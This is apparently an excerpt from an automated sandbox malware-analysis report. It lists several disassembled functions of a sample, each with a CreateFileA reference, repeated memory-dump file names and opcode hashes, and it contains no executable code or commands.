Function 00AF182D Relevance: 1.6, APIs: 1, Instructions: 107
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,00AF1822,00000003,00000000,00000003,3BAD6F66), ref: 00AF18CE

Memory Dump Source

Source File: 00000004.00000002.2534864577.0000000000AEB000.00000040.00000001.01000000.00000006.sdmp, Offset: 00960000, based on PE: true

Associated: 00000004.00000002.2534575183.0000000000960000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534601157.0000000000962000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534623371.0000000000966000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534643775.000000000096A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534665846.0000000000974000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534685772.0000000000975000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534706690.0000000000976000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534817597.0000000000AD1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534839775.0000000000AD3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534864577.0000000000AFA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534906035.0000000000AFC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534926954.0000000000B03000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534947792.0000000000B0D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534971170.0000000000B11000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534995113.0000000000B23000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535014433.0000000000B24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535033384.0000000000B2A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535052624.0000000000B2B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535073374.0000000000B35000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535093928.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535111691.0000000000B3A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535131420.0000000000B41000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535151268.0000000000B4E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535170829.0000000000B4F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535189052.0000000000B50000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535206729.0000000000B52000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535225881.0000000000B53000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535246048.0000000000B54000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535264477.0000000000B55000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535284250.0000000000B57000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535305323.0000000000B63000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535323998.0000000000B66000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535342755.0000000000B67000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535360786.0000000000B6A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535379475.0000000000B6B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535398939.0000000000B70000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535421520.0000000000B85000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535440650.0000000000B88000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535458614.0000000000B89000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535476636.0000000000B8C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535497855.0000000000B94000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535518112.0000000000B9A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535536405.0000000000B9B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535555690.0000000000B9E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535578015.0000000000BA6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535602082.0000000000BA7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535641405.0000000000BFF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535641405.0000000000C07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535684003.0000000000C16000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535702268.0000000000C18000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_960000_Z3WVQPAQZN7WXE31OIKO79M3XY.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 065222958fda9e76939f9eb583b541ef41d9bbaf7450d50a8d5947e619216afe
Instruction ID: 4ae2c76d780a4673a068a7f192dc6458dc8dd523ee37377165727cb5cbbff567
Opcode Fuzzy Hash: 065222958fda9e76939f9eb583b541ef41d9bbaf7450d50a8d5947e619216afe
Instruction Fuzzy Hash: B2218EB760C11DBDB610CA856F60DFB77ADEAD2770B31883BF906C2502D3614D0996B4

Function 00AF1842 Relevance: 1.6, APIs: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,00AF1822,00000003,00000000,00000003,3BAD6F66), ref: 00AF18CE

Memory Dump Source

Source File: 00000004.00000002.2534864577.0000000000AEB000.00000040.00000001.01000000.00000006.sdmp, Offset: 00960000, based on PE: true

Associated: 00000004.00000002.2534575183.0000000000960000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534601157.0000000000962000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534623371.0000000000966000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534643775.000000000096A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534665846.0000000000974000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534685772.0000000000975000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534706690.0000000000976000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534817597.0000000000AD1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534839775.0000000000AD3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534864577.0000000000AFA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534906035.0000000000AFC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534926954.0000000000B03000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534947792.0000000000B0D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534971170.0000000000B11000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534995113.0000000000B23000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535014433.0000000000B24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535033384.0000000000B2A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535052624.0000000000B2B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535073374.0000000000B35000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535093928.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535111691.0000000000B3A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535131420.0000000000B41000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535151268.0000000000B4E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535170829.0000000000B4F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535189052.0000000000B50000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535206729.0000000000B52000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535225881.0000000000B53000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535246048.0000000000B54000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535264477.0000000000B55000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535284250.0000000000B57000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535305323.0000000000B63000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535323998.0000000000B66000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535342755.0000000000B67000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535360786.0000000000B6A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535379475.0000000000B6B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535398939.0000000000B70000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535421520.0000000000B85000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535440650.0000000000B88000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535458614.0000000000B89000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535476636.0000000000B8C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535497855.0000000000B94000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535518112.0000000000B9A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535536405.0000000000B9B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535555690.0000000000B9E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535578015.0000000000BA6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535602082.0000000000BA7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535641405.0000000000BFF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535641405.0000000000C07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535684003.0000000000C16000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535702268.0000000000C18000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_960000_Z3WVQPAQZN7WXE31OIKO79M3XY.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 19ac7a7bd2c84c9cbade12fe93c85179dfd839f806dd48edf7250f1a031e0afd
Instruction ID: 85b1137a40e8bd399be877e0bb96a0aaf42abf6ae28b6e019a5288cbbd9cd67f
Opcode Fuzzy Hash: 19ac7a7bd2c84c9cbade12fe93c85179dfd839f806dd48edf7250f1a031e0afd
Instruction Fuzzy Hash: EC2180F754C25ABDF701CA946E60AFBBBBCDAC2730B31842BF945C2442D3650D0992B5

Function 00AF187B Relevance: 1.6, APIs: 1, Instructions: 84fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,00AF1822,00000003,00000000,00000003,3BAD6F66), ref: 00AF18CE

Memory Dump Source

Source File: 00000004.00000002.2534864577.0000000000AEB000.00000040.00000001.01000000.00000006.sdmp, Offset: 00960000, based on PE: true

Associated: 00000004.00000002.2534575183.0000000000960000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534601157.0000000000962000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534623371.0000000000966000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534643775.000000000096A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534665846.0000000000974000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534685772.0000000000975000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534706690.0000000000976000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534817597.0000000000AD1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534839775.0000000000AD3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534864577.0000000000AFA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534906035.0000000000AFC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534926954.0000000000B03000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534947792.0000000000B0D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534971170.0000000000B11000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534995113.0000000000B23000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535014433.0000000000B24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535033384.0000000000B2A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535052624.0000000000B2B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535073374.0000000000B35000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535093928.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535111691.0000000000B3A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535131420.0000000000B41000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535151268.0000000000B4E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535170829.0000000000B4F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535189052.0000000000B50000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535206729.0000000000B52000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535225881.0000000000B53000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535246048.0000000000B54000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535264477.0000000000B55000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535284250.0000000000B57000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535305323.0000000000B63000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535323998.0000000000B66000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535342755.0000000000B67000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535360786.0000000000B6A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535379475.0000000000B6B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535398939.0000000000B70000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535421520.0000000000B85000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535440650.0000000000B88000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535458614.0000000000B89000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535476636.0000000000B8C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535497855.0000000000B94000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535518112.0000000000B9A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535536405.0000000000B9B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535555690.0000000000B9E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535578015.0000000000BA6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535602082.0000000000BA7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535641405.0000000000BFF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535641405.0000000000C07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535684003.0000000000C16000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535702268.0000000000C18000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_960000_Z3WVQPAQZN7WXE31OIKO79M3XY.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 036c516cc6ecb827e8afd8c16e9a7b6665789db5d718ca342fe647475ef76a06
Instruction ID: d8f02b0da60d3ed6a85619d6281d2268354e8f8644f20581ecd3a52ade0162d9
Opcode Fuzzy Hash: 036c516cc6ecb827e8afd8c16e9a7b6665789db5d718ca342fe647475ef76a06
Instruction Fuzzy Hash: 4B1170B764811DBDB610CE946B60AFB77ADEAD1730730882BFD02C2942D2950D4A65B4

Function 00AF18A4 Relevance: 1.6, APIs: 1, Instructions: 72fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,00AF1822,00000003,00000000,00000003,3BAD6F66), ref: 00AF18CE

Memory Dump Source

Source File: 00000004.00000002.2534864577.0000000000AEB000.00000040.00000001.01000000.00000006.sdmp, Offset: 00960000, based on PE: true

Associated: 00000004.00000002.2534575183.0000000000960000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534601157.0000000000962000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534623371.0000000000966000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534643775.000000000096A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534665846.0000000000974000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534685772.0000000000975000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534706690.0000000000976000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534817597.0000000000AD1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534839775.0000000000AD3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534864577.0000000000AFA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534906035.0000000000AFC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534926954.0000000000B03000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534947792.0000000000B0D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534971170.0000000000B11000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534995113.0000000000B23000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535014433.0000000000B24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535033384.0000000000B2A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535052624.0000000000B2B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535073374.0000000000B35000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535093928.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535111691.0000000000B3A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535131420.0000000000B41000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535151268.0000000000B4E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535170829.0000000000B4F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535189052.0000000000B50000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535206729.0000000000B52000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535225881.0000000000B53000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535246048.0000000000B54000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535264477.0000000000B55000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535284250.0000000000B57000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535305323.0000000000B63000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535323998.0000000000B66000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535342755.0000000000B67000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535360786.0000000000B6A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535379475.0000000000B6B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535398939.0000000000B70000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535421520.0000000000B85000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535440650.0000000000B88000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535458614.0000000000B89000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535476636.0000000000B8C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535497855.0000000000B94000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535518112.0000000000B9A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535536405.0000000000B9B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535555690.0000000000B9E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535578015.0000000000BA6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535602082.0000000000BA7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535641405.0000000000BFF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535641405.0000000000C07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535684003.0000000000C16000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535702268.0000000000C18000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_960000_Z3WVQPAQZN7WXE31OIKO79M3XY.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 0381f8539d0397fcd00f1adae1aefab70d46a14450a9d600150b4116383fc98b
Instruction ID: d7b71e25e752fb04078dda580811557dee84b3aa8c144307631e528f490a57e1
Opcode Fuzzy Hash: 0381f8539d0397fcd00f1adae1aefab70d46a14450a9d600150b4116383fc98b
Instruction Fuzzy Hash: 490171F714C159BCB611CA956B60EFAB7ADE6C2730730882BF802C1946D2950D4E5175

Function 00AF1B87 Relevance: 1.6, APIs: 1, Instructions: 69fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE ref: 00AF1B30

Memory Dump Source

Source File: 00000004.00000002.2534864577.0000000000AEB000.00000040.00000001.01000000.00000006.sdmp, Offset: 00960000, based on PE: true

Associated: 00000004.00000002.2534575183.0000000000960000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534601157.0000000000962000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534623371.0000000000966000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534643775.000000000096A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534665846.0000000000974000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534685772.0000000000975000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534706690.0000000000976000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534817597.0000000000AD1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534839775.0000000000AD3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534864577.0000000000AFA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534906035.0000000000AFC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534926954.0000000000B03000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534947792.0000000000B0D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534971170.0000000000B11000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2534995113.0000000000B23000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535014433.0000000000B24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535033384.0000000000B2A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535052624.0000000000B2B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535073374.0000000000B35000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535093928.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535111691.0000000000B3A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535131420.0000000000B41000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535151268.0000000000B4E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535170829.0000000000B4F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535189052.0000000000B50000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535206729.0000000000B52000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535225881.0000000000B53000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535246048.0000000000B54000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535264477.0000000000B55000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535284250.0000000000B57000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535305323.0000000000B63000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535323998.0000000000B66000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535342755.0000000000B67000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535360786.0000000000B6A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535379475.0000000000B6B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535398939.0000000000B70000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535421520.0000000000B85000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535440650.0000000000B88000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535458614.0000000000B89000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535476636.0000000000B8C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535497855.0000000000B94000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535518112.0000000000B9A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535536405.0000000000B9B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535555690.0000000000B9E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535578015.0000000000BA6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535602082.0000000000BA7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535641405.0000000000BFF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535641405.0000000000C07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535684003.0000000000C16000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535702268.0000000000C18000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

